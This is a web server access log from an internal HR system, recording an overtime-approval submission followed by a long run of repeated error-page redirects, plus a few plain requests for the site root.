192.168.40.39 - - [05/Sep/2025:07:26:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:07:26:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:07:26:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:07:26:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:07:26:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:07:26:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:07:26:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:07:26:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:07:26:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:07:26:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:07:26:08 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:07:26:08 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:07:26:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131076%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131076&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:07:26:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131076%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131076&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:07:26:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:07:26:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:07:26:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:07:26:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:07:26:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:07:26:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:07:26:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:07:26:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:07:26:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:07:26:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:07:26:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:07:26:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:07:26:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:07:26:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:07:26:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:07:26:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:07:26:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:07:26:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:07:26:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:07:26:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:07:26:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:07:26:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:07:26:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:07:26:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:07:26:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:07:26:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:07:26:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:07:26:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:07:26:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:07:26:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:07:26:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:07:26:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:07:26:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:07:26:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:07:26:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:07:26:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [05/Sep/2025:07:26:44 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:07:26:44 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:07:40:39 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0"
100.64.0.1 - - [05/Sep/2025:07:40:39 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:07:40:39 +0800] "GET /favicon.ico HTTP/1.1" 404 209
100.64.0.1 - - [05/Sep/2025:07:40:39 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0"
